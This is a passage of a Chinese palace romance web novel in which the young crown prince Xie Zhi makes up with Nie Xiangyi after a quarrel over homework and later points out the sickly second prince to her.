虽说每次做完功课,谢知总会送她点精巧的小玩意,什么天宫花灯金玉簪,什么玛瑙玉杯牛角扇,聂相宜倒是爱不释手。 只是高压之下,就是面做的人也该有脾气了!聂相宜揭竿而起。 她将笔狠狠一摔,指着谢知的鼻子大喊道:“谢知!我要与你和离!” 来宫中寻皇后说话的文安夫人恰巧听见这话,差点摔了个大跟头。 她一脸欲言又止地看着聂相宜,“阿兕,这种话可不能挂在嘴边。你知道什么是和离吗?” “我知道!”聂相宜仰着下巴。 那年她问过谢知同样的问题,谢知那时的神色十分复杂,沉默良久之后才回答她。 “就是再也不在一起玩的意思。” 文安夫人哭笑不得。 自那以后,聂相宜便与谢知冷战起来。但凡一见到谢知,她总是会重重地哼出一声,像是生怕谁听不见似的,而后嘴巴撅得老高。 就连上课与他同桌,也隔出泾渭分明的距离来。 这样的冷淡让谢知变得无措,即使面上看似平静无澜,可每每看着聂相宜与裴珏说说笑笑,他眸色几乎快要凝结成冰。 “小古板?惹阿兕生气了?”皇后看出他的心不在焉,轻笑着揶揄他。 谢知沉默不语,像是默认。 皇后笑盈盈的,语气像是意有所指,“你瞧人家裴珏,多会哄人开心。” “可是……”谢知凝语片刻,“先生说,溺之则害之。” “道理是这个道理。可她不爱做,放任些又有何妨?”皇后弯着眼睛看他,“你是太子,又不是先生。只需要为她兜着底,保护好她,不便是了?” “多谢母后。” 谢知聪慧,一点就透。他要让她只能被他保护,被他兜底。 回去的路上,他看向身边的凌竹,“你会编草笼子吗?教我。” 裴珏是个很有趣的人,不像他祖父那般古板,什么都会一点。只是聂相宜与他捉蛐蛐的时候,不知为何却总是想起谢知来。 谢知总会板着一张脸,指着功课一点点教她。每当她做完功课,谢知那张向来冰冷的脸总会露出一丝浅淡的笑意,递给她一样小玩意。 时间久了,她竟还有些期待今日的小玩意是什么。 想到这里,聂相宜直骂自己没出息,竟被一点小玩意给收买了!心中不由得又骂起谢知讨厌鬼,连玩也让自己玩得心不在焉,竟还想着功课的事! 她向裴珏告辞,回去的路上却见谢知在宫门前等着她。 “阿兕妹妹。”谢知递给她拿着一只翠绿的草笼子,像是新编出来的,“我不该那样对你的。别不理我。” 堂堂太子向自己道歉,聂相宜心里的尾巴都快翘到天上去了。 她强压下嘴角,“你真的知道错了?” 谢知点头。 “那你以后不准逼着我做功课。” “好。” “那你帮我做。” 谢知深深吸了一口气,“好。” “也不准阻拦我和子瑛哥哥出去玩。” “不好。”谢知下意识的好卡在嘴边,“你想去哪里玩,我都可以陪你。” “你不做功课了?”“不做了。” “捉蛐蛐也可以?”“可以。” “翻院墙爬树也可以?”“可以。” 聂相宜几乎不敢相信自己的 耳朵,惊奇地瞪圆了眼,“这还是我那古板无趣、端庄自持的太子哥哥吗?” “我只有一个要求。”谢知抿了抿唇,“不许再叫裴珏哥哥。” 聂相宜不解,“为什么?” 谢知语气噎了一下。 他想了想,一本正经地说道:“因为我是太子。你叫他哥哥,再叫我哥哥,我便与他成了兄弟,有失礼仪。” “宫中还有这种歪理规矩吗?”聂相宜表示怀疑。 “有。”谢知回答得面不改色,“所以你只能选一个人叫哥哥,你选谁?” 他几乎是下意识问出了口,而后目光紧紧凝在聂相宜脸上,等待着她的回答。 “那肯定是选子瑛哥哥啊。”聂相宜回答得毫不犹豫。 谢知的眉眼几乎都快凝结出一层冰霜,“为什么?” “因为按照方才你说的规矩,我若是再叫你哥哥,我俩不就成了兄妹了?”聂相宜煞有介事,“这也不合规矩吧?” 谢知被噎了半天说不出话来。 做功课的时候没见她脑子转得这么快呢。 他幽幽说道:“那不一样。” 总之二人又这样和好了。 聂相宜后来还在宫中见过一位体弱多病的二皇子。 那时她与谢知正坐在东宫的房顶上,夕阳的余晖洒在琉璃瓦上,她看话本,谢知看着书。 她忽地远远瞧见一个清癯身影,仰头望着她们身边澄澈的夕阳,满眼艳羡。 “他是谁?”她问谢知。 “二皇子。”谢知回答。 “那我怎得从前从没见过他?”聂相宜歪着头,“也未曾跟着我们一起读书?” “你见过。”谢知说,“他身体不好,受不得风,父皇专门请了先生去他宫中教导。” “那岂不是连出门玩都不行?”聂相宜颇为惋惜地看了他一眼,“好可怜呀。” “他母亲曾差点害死了我母亲,也差点害死了我。”谢知看着她惋惜的目光,脑中忽地升起一个莫名的念头。 “如果他母亲真的得逞了呢?” 聂相宜无端因这话打了个寒颤,只觉谢知的假设让她忽地汗毛直立。 她慌忙摆手,“不会有这种如果的!不会的!大家都好好的呢!” 谢知长长舒出一口气来,与谢承忻一同望着天边金黄明亮的夕阳。 “是啊,大家都好好的。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m